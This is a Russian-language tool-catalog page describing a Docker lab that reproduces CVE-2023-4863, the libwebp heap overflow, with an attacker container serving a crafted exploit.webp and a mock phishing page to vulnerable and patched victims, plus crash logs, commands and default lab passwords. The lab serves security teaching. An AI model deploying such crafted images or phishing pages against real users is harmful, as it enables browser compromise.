Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
lab-cve-2023-4863 | Kitploit
Инструменты/GitHubGitHub/pixelotes/lab-cve-2023-4863
Анализ уязвимостейЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubpixelotes/lab-cve-2023-4863

lab-cve-2023-4863

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-4863 — Лабораторная по эксплуатации libwebp

Воспроизведение CVE-2023-4863 (heap buffer overflow в libwebp) в полностью изолированном и автоматизированном Docker-окружении. Основано на практике модуля «Этичный хакинг» от CEFIRE.

Что делает эта лабораторная

Поднимает восемь контейнеров в приватной сети:

ContainerРоль
attackerГенерирует exploit.webp с помощью craft.c и раздаёт его по HTTP вместе со страницей симулированного фишинга
victim-cliUbuntu 22.04 с libwebp 1.2.2-2ubuntu0.22.04.1 (уязвимая). Автоматически скачивает и обрабатывает эксплойт → crash
victim-patchedUbuntu 22.04 с libwebp из репозитория безопасности Ubuntu (исправленная). Тот же эксплойт → контролируемая ошибка, без crash
victim-guiUbuntu 22.04 с XFCE, VNC и Firefox 110 (уязвимый). Реальный крах браузера с exploit.webp
victim-gui-patchedUbuntu 22.04 с XFCE, VNC и Firefox 126 (исправленный). Тот же эксплойт → браузер выживает
postgresPostgreSQL — бэкенд аутентификации и подключений Guacamole
guacdДемон Apache Guacamole (прокси протоколов)
guacamoleВеб-интерфейс, из которого вы получаете доступ ко всем контейнерам по SSH или VNC, ничего дополнительно не устанавливая

Автоматическая демонстрация (victim-cli против victim-patched) происходит сама при запуске. Визуальная демонстрация в GUI требует ручного взаимодействия через Guacamole.

Требования

  • Docker Engine 24+
  • Docker Compose v2
  • ~5 ГБ свободной оперативной памяти
  • ~10 ГБ на диске (образы + слои)

Запуск лабораторной

root@kitploit:~
make up

make up при первом запуске автоматически делает три вещи:

  1. Генерирует SQL-схему Guacamole (запускает initdb.sh из официального образа)
  2. Собирает образы контейнеров
  3. Поднимает всё

Первый раз сборка занимает несколько минут (скачиваются базовые образы, клонируется репозиторий PoC, устанавливаются пакеты). Последующие запуски используют кэш Docker и происходят почти мгновенно.

Когда всё завершится, вы увидите URL Guacamole в выводе. Контейнеры-жертвы не запускаются, пока атакующий не будет готов и не начнёт раздавать эксплойт (healthcheck).

Учётные данные

ДоступПользовательПароль

Просмотр автоматической демонстрации (CLI)

В терминале, пока лабораторная запущена:

root@kitploit:~
# Посмотреть crash на уязвимой жертве
make logs-victim-cli

# Посмотреть контролируемый ответ на исправленной жертве
make logs-victim-patched

Что вы увидите на victim-cli:

root@kitploit:~
[*] Ejecutando: dwebp /tmp/exploit.webp -o /tmp/salida.png

Decoding of exploit.webp failed.
Status: 3(BITSTREAM_ERROR)
*** glibc detected *** double free or corruption (!prev) ***
Aborted (core dumped)

[!] EXIT CODE: 134 (SIGABRT)
[!] CVE-2023-4863 CONFIRMADO

Что вы увидите на victim-patched:

root@kitploit:~
[*] Ejecutando: dwebp /tmp/exploit.webp -o /tmp/salida.png

Decoding of exploit.webp failed.
Status: 3(BITSTREAM_ERROR)

[+] EXIT CODE: 1 — Error controlado
[+] CVE-2023-4863 MITIGADO

Визуальная демонстрация на рабочем столе (GUI)

Наиболее наглядная демонстрация — сравнение victim-gui (уязвимая) с victim-gui-patched (исправленная) с помощью dwebp из терминала на рабочем столе XFCE.

Шаги

  1. Откройте http://localhost:8888/guacamole в браузере
  2. Войдите: guacadmin / guacadmin
  3. На уязвимой жертве (Firefox 110):
    • Выберите [VÍCTIMA GUI] VNC — Escritorio Chrome
    • Откройте терминал на рабочем столе XFCE
    • Выполните:
      root@kitploit:~
      firefox --no-sandbox http://attacker/index.html
      
    • Firefox 110 пытается отрисовать exploit.webp → crash (SIGABRT, процесс умирает)
  4. На исправленной жертве (Firefox 126):
    • Выберите [VÍCTIMA GUI PATCH] VNC — Escritorio Chrome patch
    • Та же команда → Firefox 126 обрабатывает ошибку без краха

Почему Firefox, а не Chrome

Mozilla поддерживает постоянный публичный архив всех своих версий на releases.mozilla.org. Google удалил со своего CDN ссылки на старые версии Chrome, что делает невозможной надёжную загрузку Chrome 116. Firefox 110 столь же уязвим (оба встраивают libwebp внутрь себя), а его загрузка из архива Mozilla стабильна и воспроизводима.

Прямой доступ по SSH (без Guacamole)

root@kitploit:~
ssh root@localhost -p 2220   # attacker
ssh root@localhost -p 2221   # victim-cli
ssh root@localhost -p 2223   # victim-patched
ssh root@localhost -p 2222   # victim-gui
ssh root@localhost -p 2224   # victim-gui-patched

Прямой VNC: localhost:5900 (victim-gui) и localhost:5901 (victim-gui-patched).

Полезные команды

root@kitploit:~
make logs                    # все логи в реальном времени
make status                  # состояние контейнеров
make shell-attacker          # shell на атакующем
make shell-victim-cli
make shell-victim-gui
make shell-victim-gui-patched
make down                    # остановить лабораторную
make clean                   # остановить + удалить образы и сети

Примечания

Chrome и libwebp: Chrome включает собственную копию libwebp (не использует системную). Версии ≥ 116.0.5845.187 содержат патч. Поскольку Google удалил ссылки на старые версии, Dockerfile использует запасной вариант с текущей стабильной версией (исправленной). Демонстрация краха с dwebp при этом так же валидна и более надёжна.

Изолированная сеть: ни один контейнер не имеет доступа к Интернету во время выполнения. Весь трафик остаётся внутри приватной Docker-сети cve4863-lab-net.

Скачать инструмент
Guacamole (веб)guacadminguacadmin
SSH на все контейнерыroottoor
VNC victim-gui и victim-gui-patched—secret